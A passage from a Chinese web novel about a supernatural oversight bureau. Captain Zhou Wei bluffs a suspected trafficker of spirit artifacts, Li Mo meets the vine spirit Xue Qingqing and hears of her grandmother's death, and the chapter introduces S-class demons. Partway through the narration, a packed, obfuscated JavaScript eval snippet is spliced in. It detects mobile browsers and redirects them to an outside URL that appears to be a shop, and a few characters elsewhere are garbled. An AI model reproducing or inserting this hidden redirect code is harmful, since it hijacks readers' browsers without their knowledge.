正因如此,徐培风才异常担心——如果那个虐杀妖类制售灵器的团伙钻法律空子,杀的都是一些未曾上过户口的妖类,那他们甚至都根本不算犯法……异监局将永远找不到给他们判罪定刑的法律性依据。 李星路看周纬面色难看地沉默着,还以为自己已经说得他哑口无言,得意地笑了起来,跟在法庭上打了场胜仗似的。 他讥诮地欣赏着周纬不死心的模样,享受着猎物的垂死挣扎,笑着说出了他的胜利宣言: “放弃吧,周队。法律站在我这边。” “哦?是吗?” 周纬忽然挑起眼皮,看了他一眼。 不知为何,这一眼看得李星路心里一突。 周纬那双褶皱异常分明的桃花眼平时总是微垂着,看人的目光不走直线,像一湾笼罩着雾气的幽深水潭,凭空就能生出几分深情。然而一旦有人掀开那层朦胧雾气,就会发现寒光凛冽,那潭水里藏着的,全是要人性命的刀剑。 只听周纬轻笑一声:“杀没杀户口的妖类不犯法,那私自制售灵器‘黑货’呢?” 李星路浑身一震,脱口而出道:“什么?!” 周纬细细地打量着他的表情,连他那层层叠叠的绷带下人任何一丝肌肉的细微震颤都没有放过:“赤阳李家,好手段啊……不过看李律这幅样子,倒像是还不知道我们已经掌握了这条线索?” 他突然轻轻拍了拍手:“哦……我懂了。” 他轻声道:“你根本不知道马宏昇那个U盘里,到底藏了什么,对不对?” 李星路的双眼无声地睁大了。 他的眼瞳里已经蔓延上了恐惧,嘴上却还在兀自挣扎:“你在说什么,我怎么听不明——” 周纬却兀自打断了他:“我之前以为,你们这个团伙是和马氏合作,他们提供物流、场地、设备之类的硬件,而你们这边负责出铸造师、找买家,还有最重要的——提供妖类原料。但现在一想,这种只能存在于超自然世界里的黑产业,要整个暴露给马氏这么一个庞然大物,属实风险太大。而且合作者这么强势,你们也不好掌控,最后八成会落得个被吃干抹净、为他人做嫁衣的下场。” “但马宏昇就不一样了。”周纬展颜一笑,看在李星路眼里却有如地狱恶鬼:“作为马氏集团太子爷,虽然不学无术,但好歹也能接触到马氏的资源,为你们牵线搭桥绰绰有余,作为合作者是完全足够了。而且他够蠢、够坏、够大胆,落在你们手里,刚好是一个容易掌控的傀儡。你们通过马宏昇这条线对接马氏的资源和渠道,却又刚好不会惊动这个庞然大物,所得利益全部装进自己的腰包,一定认为自己走了一步好棋吧?像马宏昇这种废物草包二世祖,还以为自己真成了你们的正经合作者,他在你们面前趾高气扬的时候,你们没少在心里笑话他吧?” “可你们轻视他却也不会防备他。你们万万想不到,就是这么个傀儡废物,却会悄悄收集了你们走私灵器的证据,成了你们致命的破绽。”周纬的声音低如魔鬼耳语:“李大律师,被自己养的狗反咬一口的感觉,怎么样啊?” “你放屁!”李星路突然剧烈地挣扎起来,目眦欲裂:“我不信!你拿出证据来!你他妈根本就——” 他这一挣扎,直接撞到了旁边的输液架,顿时稀里哗啦一顿乱响。周纬站起身,冷眼看着门外的医护人员一拥而入,将突然发狂的李星路死死按在病床上,金丝眼镜在混乱中落地,被不知哪只脚一脚踩了个粉碎。 "病人突然发狂,我看可以多上一些束缚手段,免得他伤人伤己。"周纬森然道:“不行就给他戴个止咬器——也不知道谁更像畜生。” “李默,我们走。”他直接转身,推门离开。李默跟了上去,将李星路疯狂的挣扎和绝望的呜咽关在了身后。 22. 逢春 “周队。”李默忽然出声,叫住了周纬。 他刚才在病房里面对李星路时,并没有插话打断周纬跟李星路的交锋。然而此时开口,却让周纬心里一沉。 周纬回头看他,只听他开口问道: “那个加密U盘里面究竟有什么?” 周纬下颌一紧,下意识地移开了目光,抿了抿嘴唇。 李默看他不答,便已经猜到了答案,“那里面根本就没有关于灵器黑货交易的证据,是不是?只有他们对那些妖类……所以你刚才才那么愤怒。” 周纬沉默片刻,才轻轻地叹了口气:“……是。” 他在李星路面前唱了一出空城计,却没能瞒过李默的眼睛。 如果按照他们之前的推断,公路袭击和夜市袭杀薛青青的都是李星路一伙人,那么他们的目的很有可能是消灭线索。前者是为了夺回那个可能被马宏昇隐藏了证据的U盘,而后者则是干脆灭口与马宏昇有直接交集的薛青青本人。 如今虽然薛青青逃脱,但是那个加密U盘可是实实在在落到了异监局手里的。如此一来,李星路他们应该就会猜到,异监局至少掌握了一条能够指向他们这些黑暗勾当的证据。 然而刚刚在病房里,周纬当着李星路的面提起灵器黑货案,李星路却显得十分愕然,仿佛根本没想到异监局已经查到了这一步。 那只能说明他们无法确定那个U盘里面有什么内容,或者说,难以置信那U盘里的证据,能这么精准地把异监局的目光引到他们身上。 周纬抓住了他这个破绽,在言语交锋上先下了他一城。然而这一胜却只是镜花水月、海市蜃楼,一戳就破。 因为那个U盘里实际上根本没有什么能指向灵器黑货案的有价值的线索和证据。周纬他们获悉有这条产业链存在,是通过夜市里的金老;而那个U盘里的内容,顶多只是能佐证有这样一条产业链存在。 哪怕这点佐证都是极其有限的——视频中的买家只出现了个虚拟人像,主持人一身医学防护服裹得亲妈不认,整个视频除了那个遇害的朏朏少年,甚至没有一个人露脸。 而那个朏朏少年,如果是个没登记备案过的“黑户”,也只会是查无此人……更何况他现在大概已经确实查无此人了。 没有交易明细,没有往来账目,没有任何可以当做“呈堂证供”的有力证据,甚至没有“受害者”……如果不是李星路阴差阳错地撞到了他们手里,仅凭这个U盘,他们甚至抓人都不知道上哪儿去抓。 明知道有罪案在眼前发生,却只能让犯罪者逍遥法外。 周纬疲惫地向后一靠,后背重重地撞在墙上,他低头揉了揉眉心,哑声道:“是,我们现在没有掌握任何实质性证据,现有的证据根本无法指证李星路……他袭击薛青青的地方毕竟是在夜市,我们没有执法权,他如果真的拿住这一点发作起来,甚至可以给我们扣一个暴力执法的帽子,我们反而成了有错的一方。” 李默无声地闭上了眼睛。 李默无言片刻,开口道:“周队,我想看看那个U盘里的内容,可以吗?” 周纬一愣:“你想看?” 霎时间,他的脑海里又想起徐培风的话:“这件事必须严加保密,要绝对封锁消息……” 他眼中的那一丝迟疑没有逃过李默的眼睛。 李默目光微凝,随即低声道:“……我知道了。” 周纬立刻急了,赶紧上去拉他:“李默你等等,我不是那个意思……那个U盘里有不少不好的东西,我是怕你看了会……” 李默轻轻点了点头:“我知道。” 周纬一愣。 “其实哪怕那个U盘里有足够有力的证据,也没有什么用,不是么?”李默的语气无波无澜:“异监局只能以私自制售灵器的罪名审判他,他不会因为虐杀妖类而受到任何惩罚。” 他垂下眼睛,浓密的眼睫遮盖了他的眼神:“就像他说的……法律站在他那一边。” 周纬喉咙一紧,发现自己竟无言以对。 “抱歉,周队。”李默轻轻地挣开了他:“我有点事,想先离开市局一会儿。” “李默……”周纬下意识想挽留他,然而手指抽搐似的弹动了两下,最终却还是没能抬起来。 李默深深地看了他一眼:“晚饭还在保温柜里……周队,你记得吃。” 他转身离开了,留下周纬站在走廊里,久久凝视着他被落日余晖拉长的影子。 李默径直离开了市局大院。他现在不是正职监察员,没人管他迟到早退,也没人限制他行动□□卫小刘伸头探脑地看了一眼他的背影,没敢上前拦人——反正灵枷自带定位功能,他也丢不了。 李默抬头看了一眼已经沉没一半的夕阳,就这么上了大路。 他像是在漫无目的地游荡,沿着珑湖市中心双向八车道的宽阔马路一直前行,与无数喧闹拥挤和车流和熙熙攘攘的人群擦肩而过,最后转到了不久前周纬带他来的那个商场。 他走进商场,大约半个小时之后再出来,手上居然提了一杯奶茶和一份肯德基。 走出商场大门,李默再次抬头看了看天光。此时已是暮色四合,他觉得时间差不多了,才终于举步朝大路另一侧走去。 珑湖市前两年搞园林绿化工程,在市区里建了不少城市公园,栽花植树的,还搞了不少健身设备和步道,一度很受市民们欢迎。只是这两年设备老化,市政一直疏于修缮,渐渐的人也少了。再加上现在正是初春,晚上还带点凉意,公园里人影罕至,基本是空的。 李默提着奶茶走进了公园深处,找了处休闲长椅坐下,确定了四周无人,他把奶茶和快餐放下了。 然后从袖子里掏出了一样东西。 他对着那东西说:“你想见我?” 那居然是在夜市时,薛青青的分身消散之后,留下的那朵小花。 薛青青没死,这件事周纬和李默都知道。 妖类死后只会留下一枚妖力凝聚的妖核,而不是什么花啊草啊之类的东西。薛青青当时在夜市留下的那一朵小花,实际上是木系妖类特有非常罕见的一项能力,叫做“李代桃僵”。 简单来说,就是化出许多个分身,分别藏匿于各处,本体可在分身之间相互移动转换。这样就算某个分身遭遇重创,只要立刻将妖力转移到别的分身上去,那便可以留得一命。 木系妖类本就是所有妖类之中,生命力最顽强的那一类,而这“李代桃僵”之术更是保命神技。有了这项能力,虽然薛青青妖力弱小,但那些比她强大得多的妖类也轻易要不得她的性命,算是她行走世间最大的倚仗。 当然这样一来,异监局想抓她也就更难了,所以从夜市出来之后,周纬也就压根没再提过这事儿。 已经用过的分身大概率不会再用,更何况这朵小花已经被烧焦了一半,剩下的一半也熏得焦黄,半死不活地蜷曲着。因此哪怕心思缜密如周纬,也没将它放在心上。 然而李默却注意到了它。因为他记得当时薛青青消散之前,望向她的那个眼神。 ……像是有话要说。 于是他从夜市里带走了这朵小花,本意是想看看会不会再有什么变化。果然一离开夜市,这朵看似已经生机全无的小花就好像“活”了过来,开始在他的袖子里不安分地动来动去。 但在异监局里就把它拿出来是万万不能的,所以李默找了个由头离开了。果然,此刻一取出来,这多小花就开始发出莹莹微光。李默把它放在了地上,就见它在微光笼罩之下慢慢地长高、拉长,最后原地化成了一个少女的形状,落在李默面前。 薛青青。 这小女孩又换了个打扮。之前在夜市里见到她时,她是一身古风短打,像是从哪个古装片场跑出来的NPC。如今在夜市外面再见到她,她却穿一身半新不旧的碎花棉袄,下半身穿了条肥大的棉裤,整个人囫囵个儿地涨大了一圈儿似的,从一个苗条纤瘦的少女变成了一个臃肿而温暖的球。 只是那根及臀长的麻花辫和鞭梢上的hello Kitty还没变。 李默见她在自己面前大变活人,脸上平静无波,毫不见外地拍了拍自己身边的长椅:“坐。” 薛青青看了他一眼,走过去坐下了。她两只手平直地放在腿上,目光直视前方,跟上课听讲的小学生似的。 李默低头看她:“吃过饭了吗?” 薛青青仰起脸,摇摇头。 “吃这个吧。”李默奶茶和快餐递给她,然后等了一会儿,再拿回来,把汉堡剥开了,又把吸管插到奶茶上,重新塞回她手里。 这回薛青青吃了。 她左手拿着汉堡,右手拿着奶茶,也许是出于植物吸食液体的本能,她选择了后者,轻轻咬上吸管,小心翼翼地啜饮了一小口。 然后这女孩皱起眉头,下结论:“不好喝。” “你要习惯。”李默耐心地看着她道:“这叫奶茶,有很多种口味和类型,人类女孩都喜欢喝这个。你现在已经化形了,以后要是想要在人类世界里正常生活下去,就要学着像普通人类女孩那样说话做事。” 薛青青歪着头想了想,认可了这个说法,果然低下头认真地吃喝起来,边吃边皱眉,看起来很是煎熬——其实由此可见李默对所谓“人类女孩的饮食习惯”还是一知半解,如果他拿着这顿晚饭去找给他推荐奶茶的洛小莉,就会得到洛小莉一个惊恐的表情,以及一份为期一周的“管住嘴迈开腿”紧急减脂计划书。 一直等待薛青青吃完这顿“难吃”的晚餐,李默才重新开口。他拿出手机按了几个键,随后放到了一边,道:“你找我有什么事?” 听了这话,薛青青像是想起来了身什么,抬起头来。 她伸出双手,袖口中再次涌出无数的碧绿藤蔓。和上次杀气腾腾的藤蔓不同,这次的藤蔓细嫩而柔软,十分温驯。李默坐在原地,任由那些藤蔓攀上他的身体,又钻进大衣里,沿着他的身子上上下下地探索了一遍。 直到浑身上下都被藤蔓“摸”了个遍,薛青青才松了口气似的,一根不落地把藤蔓收了回来:“……你没事了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091614|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李默目光温和地看着她:“你觉得我会有事?” “嗯。”薛青青伸出两只手,比比划划地道:“你受伤了,为了救我。” “……啊。”李默有些意外。 薛青青比划出的,是他在夜市里护在她身前时的那个姿势。他忽然想起,夜市里薛青青消散之前,最后看到的场景,好像就是自己受伤倒地的样子。 ……所以她是因为自己在夜市里保护了她,才一直记挂着自己的伤势,甚至特意跑过来看他一眼么? 他看向薛青青的目光中染上了几分惊讶。 他是A级大妖,对薛青青这种妖力低微的小妖有着天然的压制和威慑,哪怕妖力被灵枷封印,薛青青应该也能察觉出自己比她强大得多。 即便如此,她也要亲自跑过来,亲眼确认过李默没事,才能放心么? 这小藤妖…… “受伤了,很不好。”薛青青轻声道:“受伤了,会死掉。很多人都死掉了。” 她的声音清脆,像春日里被掰断的嫩枝渗出的青翠汁水,发音和停顿带着一股奇特的韵律感,好像随时随地在唱歌。 这是尚未度过化形期的妖类特有的特征,还有她那明显不似人类的碧绿双瞳,这些显然异于常人的特征都会在长达数月乃至一年的时间里慢慢褪去,直到红尘俗世把这个小女孩彻底打造成一个“人”的模样。 李默低下头看着她。女孩的眉眼特别秀美,像个等比例放大的洋娃娃,哪怕裹在一件土味十足的旧棉袄里,也挡不住她令人惊艳的长相和气质,难怪马宏昇会在众多服务员里一眼挑中她。 只是美则美矣,却不灵动。薛青青的目光常常都是径直望向前方的,飘飘荡荡的没有落点,碧绿的大眼睛里一片空茫。她像是个在人世间迷了路的小姑娘,不知道从哪儿来,也不知道将要往哪里去,茫然四顾,找不到一只可以牵着的手。 来路和去处都丢了。 李默想了想,道:“你说很多人都死掉了,是谁死了?” 薛青青有问必答地道:“那个红头发的人类。” 李默反应了一下,想起来她说的应该是马宏昇。 然而紧接着薛青青又加了一句:“奶奶也死了。”又顿了顿:“家也没了。” 她说这句话的时候,表情和语气都与刚才说起马宏昇之死时没有什么变化,然而李默却无端从中听出一股迷茫和怅惘来。 李默沉默片刻,问道:“薛奶奶是怎么死的?” “烧死的。” “怎么会烧死呢?你身为妖类,应该不怕凡火,没有救她么?” “我不在。” “你去哪里了?” “我走了。”说到这里,薛青青突然顿了一下。 “我在家里,所有的花都开了,雪地下面长出许多绿叶来,所有人都来看,我就偷偷跑掉了。”她的目光游移着,嘴里平板无波地说着,声音就像无意识一样地从她的嘴里“流淌”出来:“我躲在山上,奶奶来喊我回去,我听到了,但没答应。奶奶找不到我,就走过去了。等我下了山,才发现家里烧起了火,奶奶也死了。” 她那双碧绿的大眼睛终于流露出几分悲伤的神色来,缓缓地蜷起了自己的身子,双手抱膝,下巴搁在膝盖上,把自己蜷缩成了小小的一团。 “是我不好。”她的声音闷闷的:“我不该走掉的。” 李默明白了。 妖类化形初期,妖力不受控制,可能会对周边环境造成影响,甚至有些比较敏感的非灵力者都能察觉到异常。他自己刚化形那会儿,方圆十里的走兽全部退避三舍,连鸟都不敢从他头顶飞过。 薛青青大概率也是这种情况,妖力外溢,让周围所有植物都体验了一把“枯木逢春”。 ——可偏偏她化形的时间,是在一个隆冬腊月、数九寒天。 反常的自然现象引起了村民们的注意,薛青青不想给薛奶奶添麻烦,所以离开了家。她也许只是想在山上躲一阵子,等过了这段妖力不稳定的时间就回去。可她没想到薛奶奶竟然会上山寻她,更没想到在她“离家出走”的这短短一段时间里,有一伙儿嚣张跋扈的年轻人,会为了给那群不肯拆迁的顽固村民一点“教训”而放火烧房,选中的刚好是屋内无人的薛奶奶家。 命运若是想跟你开玩笑,就会送给你这么多的“刚好”和“没想到”。 “薛奶奶的尸检结果是自杀,起火的时候她不在家里,是后来又回去的。”李默低头看着薛青青:“她为什么回去,你知道吗?” “知道。”这话好像点醒了薛青青似的,她抬起头来,突然问了句没头没尾的话:“你认识人类的字吗?” “认识。”李默道:“怎么了?” “那你能帮我看看这是什么吗?”薛青青从怀里掏出一样东西,用一小块方布裹着,叠得整整齐齐的,还带着温热的体温:“奶奶就是为了找这个才回去的,这上面有字,我看不懂。” 李默于是接了过来,打开了那个小包裹。 他倏然愣住了。 23. S级 周纬没有按照李默所说去食堂,他径直回了自己的办公室。 周纬的办公室有一块巨大的白板,上面乱七八糟地了一些待办事项,大多都是些“周五下午开例会”之类的琐事,基本都是何昭华的字迹。一看就是这位劳碌命的副队怕自家不靠谱的队长又到点忘事,特意写在这里提醒他的。 此刻,周纬把白板上那些横七竖八地待办事项都擦掉了,空出了一大片区域,他抱臂沉思起来。 片刻后,周纬在白板左边上写下了“薛青青”三个字,随后一个箭头指向右侧,打了个“?”。 ——薛青青背后必有指使者。这个人安排薛青青在爱丽舍杀死了马宏昇,并且带走了藏有灵器黑货案证据的U盘,还给薛青青提供了藏身夜市所需要的灵砂。 ——也就是说,这个人必定早已知晓灵器黑货案的真相,并且故意以马宏昇作为突破口,引异监局前来探查。如此一来,薛青青在爱丽舍前期低调后期张扬的行为也就有了解释,八成也是因为那人的嘱咐。他要的就是通过这种大张旗鼓的行为引起异监局的注意,从而将灵器黑货案曝光。 写完了这一行,周纬又在“薛青青”三个字下面写了个“李星路”,同样一个箭头指向右侧,再打一个“?”。 ——灵器黑货案这种大案,不可能是李星路自己一个人搞出来的,他背后必定有一个庞大的组织助力,整条产业链从原料供应、制作到销售都已经非常完善,牵扯范围之大难以想象。 ——但是这条产业链,或这个组织,不知哪里出现了漏洞,被人抓到了把柄。薛青青杀死马宏昇之后,组织意识到有泄密风险,于是策划了公路和夜市里两次袭击,打算消灭证据、杀人灭口。 然而想到这里,周纬的笔触突然停顿了一下,在白板上留下了一个黑点。 等一下。 马宏昇私下保存了关于灵器黑货案的资料,这件事必定是就极其隐秘的。薛青青背后的神秘人是怎么知道的先不说,李星路所属的组织是怎么知道的? 他们之前对此事必定一无所知,不然也不会在马宏昇死亡、U盘失踪之后才仓促做出应对;但为什么马宏昇一死,这么机密的事突然就泄露了? 另外,神秘人如果想要揭露灵器黑货案,大可以把那个加密U盘扔在案发现场,怕不醒目的话甚至直接塞马宏昇嘴里都行,为什么要把它大老远带到凤凰山埋起来?万一周纬是个蠢材,根本没想到去小张庄或者凤凰山上探查,这一系列布置不就白费了么? ……这两个问题都毫无头绪。 周纬眉心拧成了个疙瘩,只觉得这起案子真是一团乱麻。 然而还没等他把这团乱麻理出个思绪,只听一阵嗡鸣,他放在桌上的手机震动了起来。 周纬拿过手机一看,心觉奇怪——那是个陌生号码,归属地是雍京。 怎么会有雍京的人给他打电话? 他迟疑了一下,还是接了起来,但没出声,只听到电话那边传来一个熟悉的声音:“你找我有什么事?” 周纬一愣,这是李默的声音! 李默给他打电话? 等等等等——李默怎么会突然给他打电话?他不是负气离开了吗?这么说他这是消气了?还有什么叫“你找我有什么事”,电话不是他打过来的吗…… 刹那间周纬的脑子跟短路一样,一秒钟爆出了十万八千个小火花儿,炸得他大脑焦糊一片,险些眼冒金星。 同时他意识到了一个令人震惊的事实——他居然还没存李默的电话号码! 不对,那李默是怎么拿到他的号码的? 他脑子里这一连串的小炮仗还没放完,只听突然,另外一个尖利刺耳的声音响了起来,吓得他差点直接蹿上天花板——他办公桌上的电话座机突然响了。 办公电话自然不能不接。周纬赶忙把手机放到一边,手忙脚乱地接起座机:“喂?” 只听电话那头的监察员急切地报告道:“周队!‘烛照’系统刚刚探查到了薛青青的妖力反应!” 周纬:“!!!” 电光石火间,周纬脑子里灵光乍现,迅速想通了这前后两通电话的来由,猛地捂住了座机听筒。 他不到一秒钟就做出了决定。 “薛青青的妖力反应现在还有么?”他低声问道。 “没有了,只出现了不到一分钟就消失了。”那边的监察员焦急道:“周队,要抓人么?” “不用,现在出动容易打草惊蛇,那小藤妖有分身之能,轻易抓不住她。”周纬尽量让自己的语气听起来平静正常:“继续注意她的妖力反应,但不要轻举妄动,有什么结果先报给我——放心,我们已经有人在那边看住她了。” 他微妙地转换了个说法,电话那头的监察员吃了颗定心丸,安心地挂断了电话。 周纬这才面色复杂地重新看向自己的手机。 所以李默离开之后是去见了薛青青……是去打探线索了吗? 他还特意给自己打了电话,让他实时监听自己跟薛青青的对话——这是什么意思? 想起李默离开之前跟自己的对话,周纬心里一时间五味杂陈。 与此同时,电话那头,薛青青也将李默的身体情况查看了一遍。听到薛青青是为了确认李默没有危险才来的,周纬眼神微动。 然后就听李默问道:“薛奶奶为什么在起火之后又回去,你知道吗?” 此时此刻,电话那头,李默愕然地看着薛青青取出来的那样东西。 那竟然是一本房产证。 通红的封面被熏得发黑,四角都被烧焦了,整本本子褶皱不堪,抚都抚不平。然而李默翻开内页,只见“房屋所有权人”那一栏里写的是“薛爱梅”,而方框上方,依然勉强看得出用铅笔写的、歪歪扭扭的“薛青青”三个字。 他蓦然想起,之前去小张庄的时候,张存义曾经提起过,薛爱梅生前曾向村民打听过房产过户的事。她说自己死后,想把房子留给一个叫“薛青青”的人,还特意学了“薛青青”这三个字该怎么写。 想来薛爱梅大字不识,恐怕也不太知道房产证具体有什么法律效力。大概在她的认知里,谁拿着这个红本本,谁就是房子的主人。 她穷困一生,也没有什么东西可以留给这小藤妖,身边唯一有点价值的,可能也就只有这几间破旧瓦房了。 所以房产证不能丢。 那是她捡来的这个小女孩,未来安身立命的唯一倚仗。 薛青青等了很久,也不见李默回答,于是探头过来道:“怎么了?” 李默摸了摸她的脑袋,指着房产证上“薛青青”那三个字:“这是你的名字,你要记好了,下一次见到,要能认出来。” 他没有告诉薛青青这本房证的实际用途——用铅笔写在房证上的名字是没有法律效力的。哪怕薛爱梅生前曾经亲口说过要将房子留给薛青青,薛青青却也还是个没有合法身份的黑户妖类;薛爱梅死后,那四间小平房实际上已经是张存义夫妇的财产了。 薛青青的眼睛漠然睁大了。 她有些愣怔地接过了那本房产证,盯着那个名字看了又看,嘴里无声地默念着什么,手指在本子上不断地比划。片刻后她像是终于记住了,合上了那个小本子,把它抱在怀里,抬起头来茫然地看着远方。 周纬和李默都没有见到过薛奶奶生前的样子,他们见到的只有案卷资料里的一份验尸报告。被大火烧死的人死状是很凄惨的,全身焦黑,紧紧地蜷缩在一起,暴露在外的皮肤几乎没有一块完好,让人不忍卒视。 人的生命在死亡的那一刻就定格了。除了关系亲近的人会不断回忆追思,在记忆中一遍遍地描摹那个人曾经的样貌,否则在外人看来,这人生前性格如何,为人怎样,有没有什么不为人知的执念和追求,乃至于重重喜怒哀乐,都已经全然不可追溯。 但薛青青还记得。 她记的“奶奶”的身量不高,有点矮胖,脸上满是皱纹。她记得奶□□发花白,为了方便干活而剪得短短的,但其实她有点爱美,早上起来会用蘸了水的梳子梳头,出门前总要照一眼镜子,还会往脸上搽五块钱一盒的雪花膏。 她知道奶奶爱絮叨,哪怕自己一个人在家的时候也喜欢自言自语,像是已经习惯了自己跟自己说话;她也记得奶奶经常会抱怨自己长得太快了,今天做的衣服明天再穿就已经小了,但她抱怨的时候语气并不懊恼,而是开心的,抱怨完了就拿起针线和剪刀,坐在昏黄的灯光下给她改衣服。 她还记得“奶奶”粗短的十根手指上满是皲裂,皮肤粗糙得像树皮,抱她的时候会稍微有些痛痒;她也还记得奶奶给她买了许多各式各样的发卡。奶奶很喜欢给她编辫子,她虽然走路颤颤巍巍的,但是梳辫子时手却一点都不抖,丝毫不会揪痛她的头发,梳完了还总要让她自己对着镜子再看看,笑着说一句“看看青青多漂亮”。 她还记得在自己当时第一次见到她—— 那时她刚刚化形,第一次睁开双眼,懵懂地打量着全然陌生的世界。周围是一片白茫茫的雪地,只有她的妖力滋养的藤蔓盘根错节,从积雪中拱出一片碧绿色的巢穴,或粗壮或细嫩的枝桠藤蔓盘虬卧龙,环绕着、守卫着,而她是巢穴中间刚刚诞生的,那个小小的婴儿。 然后她睁开眼睛,碧绿的眼瞳里就映出了她的身影。 那样一个普通的人类女人,跌跌撞撞,头发凌乱,满面泪痕,就这样骤然闯入了一个光怪陆离、从未想象过的世界里。 她并不知道,女人早年埋葬了她的丈夫,刚刚埋葬了她的儿子,手里正攥着一条准备埋葬自己的麻绳。 她也无法想象,对于一个刚刚被斩断了和世界所有的亲缘联系的农村妇女来说,眼前皑皑白雪里的这片翠绿,和这个新生的婴儿,代表了一种怎样的希望和奇迹。 她只知道那个女人跌跌撞撞地跑过来,脱下自己的棉袄裹住了她,把她紧紧地抱在怀里,颤抖着跪了下去。 然后,她放声悲哭。 她的眼泪滴落到怀里的女婴脸上。这个新生的小藤妖不像人类婴儿那样会生来就会啼哭,于是伸出舌头舔了舔,然后记住了她自降临人世以来,唇舌尝到的第一种味道。 苦咸苦咸的。 李默并没有打扰小藤妖的回忆;电话的另一端,周纬也在沉默地等待着。两个人就这样耐心地陪着小藤妖坐了一会儿,直到她抬起头来。 “谢谢。”薛青青低声说,将那本房证严严实实地包好,重新藏进了怀里。 “不客气。”李默直到她把房产证藏好,才重新开口道:“我有几个问题要问你。” 薛青青眨了两下碧绿的眼睛,那意思是——你问。< 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“那他有没有让你跟那个红发人类说什么话?”李默试探着问道:“或者注意一下什么东西——比如一串钥匙?” “没有。”薛青青摇了摇头:“他只告诉我等那个人类把我带走就可以杀死他了。我问了那个人类,他为什么要烧死我奶奶,但他好像根本不知道我奶奶是谁。我很生气,就把他杀掉了。” 电话的另一端,周纬回想着当时看到的包厢黑盒里的监控视频,恍然大悟。 当时马宏昇看到薛青青突然展现出来非人的力量,吓得屁滚尿流,跪在地上开始给薛青青磕头求饶,并且掏出了那串至关重要的钥匙试图买自己一命。现在看来,马宏昇应该是把薛青青当成了他们曾经虐杀过的妖类的同伴,以为是妖类寻仇来了,他拿出钥匙试图求饶这个举动,其实是打算卖了自己的合作者,用组织的信息换薛青青放自己一马。 可惜寻仇是寻仇,他却搞错了受害者,以至于薛青青质问他为什么要害死薛奶奶时,他连薛奶奶是谁都没想起来。 毕竟,谁会注意那样一个毫无存在感的农村妇人呢?也许马宏昇还曾经埋怨过薛奶奶为什么要掉头冲回火场,害他背上了一条人命。 他葬送了自己获得救赎的唯一的机会。 李默那边,薛青青继续道:“后来,‘好先生’就给了我一些灵砂,让我到夜市里面躲着了。” 李默道:“那他有没有告诉你,灵砂用完了怎么办呢?” “……啊?”薛青青脸上露出几分茫然。 李默就是眉头一皱。 他接着问道:“那他有没有跟你说过,夜市里面是禁止动武的?” 薛青青脸上的茫然之色更深了:“……没有。” 李默和周纬心里都是“咯噔”一下。 在夜市里动武是绝对的禁忌,如果不是仗着和白泽有交情,周纬和李默这次也讨不了好。而像薛青青这样的小妖,如果不是有分身之能,哪怕被魏观烛的白烛火龙多舔几下,恐怕都能要了她的小命。 ——但反过来一想,这岂不也是一种杀人灭口、毁尸灭迹的好手段? 只要薛青青一死,她背后的那位“好先生”自然可以美美隐身,因为死亡地点是在夜市,异监局甚至都不会知道她死亡的消息。 如今想来,难怪当时在夜市里撞见薛青青,薛青青二话不说就动了手——原来她根本就不知道夜市动武犯禁的规矩! 这么看来,那位“好先生”果然是把薛青青当成了用后即弃的一枚棋子。 如果不是周纬胆大包天潜入夜市,如果不是李默为她承受了白烛火龙的大部分攻击…… 哦,那她也不会真的死,毕竟“李代桃僵”之术,保命无敌。 “对了。”就在这时,薛青青像是突然想起来了,补充道:“他还要我小心一个人,就是和你在一起的那个。” 李默顿了一下,然后反应过来,愕然道:“小心周队?” 薛青青点了点头:“他给我看过照片,就是在夜市里时跟你在一起的那个,见到他就要赶紧跑。” 李默:“……” 难怪在夜市里时,周纬喊了薛青青一声,薛青青一回头,看到了周纬的脸,然后撒腿就跑。 这么说对方对异监局有一定了解,知道是周纬一直在追查这个案子,他在尽量避免薛青青落到异监局手里。 想到这里,李默忍不住道:“你以后离那个‘好先生’远一点,他不是什么好人……说起来,他究竟是个什么样的人?” “唔……他很高,很瘦,留着红色的长头发,”薛青青努力回忆着,还伸出两根手指的距离比划了一下长度:“还有这么长的指甲。” “我也觉得他不是好人。”说到这里,薛青青挺翘的鼻子微微皱了起来,露出一种混杂着恐惧和厌恶的表情:“他身上总有种血腥味儿,我不喜欢。” 这个描述怎么听起来这么怪异。李默突然反应过来:“等等,你说的这个‘好先生’,他是人类还是妖类?” “是妖类,”薛青青道:“很强。” 她抬起头来看了看李默:“……比你还强。” 李默&周纬:“?!!!” 比李默还强的妖类?! 等等,难道说,又一个A级?! 甚至是……S级?! 24. 前路 A级并不是妖类的顶点,在“A”之上,还有个"S"。 异监局对“S”级妖类的划定方式只有一种——不受灵枷压制的妖类,即为“S”级。 他们是超自然世界真正的巅峰,也是对人类社会最大的威胁。 说起来,异监局总部上下,整体对于妖类的态度如此激进,S级妖类的存在要占很大一部分因素。 当今世界,S级大妖虽然数量不多,但也不是只有一个两个,像白泽和那神秘的“夜市之主”,都是实打实的S级妖类。这些妖类的存在,无时无刻不让异监局感受着威胁,因为他们大多实力强横、寿命悠长,在无数的年月里积攒了难以想象的知识、财富和势力。他们对于世界的认知都要比普通人深刻得多,甚至可以说,这些S级大妖,是比世界上任何人类和普通妖类,都更接近世界本源的存在。 而相比起来,成立时间还不到百年的异监局,在他们面前就像是个牙都还没长齐的小娃娃。 若说是对普通妖类,异监局还可以行使监察管理之职责;那么对于这些S级大妖,几乎所有的监察员都只能高山仰止,望而却步。 而他们不受灵枷压制,也就意味着,哪怕这些S级大妖想像李默一样,对异监局“效忠投诚”——异监局也不敢信。 毕竟,在没有制衡手段的情况下,谁也不敢把人类的命运,押宝到这些动辄毁天灭地的大妖的“忠诚”上。 没有利剑守护的和平条约,纯属废纸一张。 现在异监局总部在位的大监察官们,主要的职责就是制约和威慑这些S级妖类,也只有作为人类灵力者巅峰战力的他们,才有跟这些S级大妖交手的资格。然而大监察官只有十席,还常常不是满员,而S级妖类的数量光是记录在册的就接近双手之数,隐藏未知的还不知有多少,双方不管是从在战力和数量上来说都绝不匹配。 再说了,如果大监察官们每天什么都不干,光盯着这些S级大妖,那这个职位不是形同虚设了么? 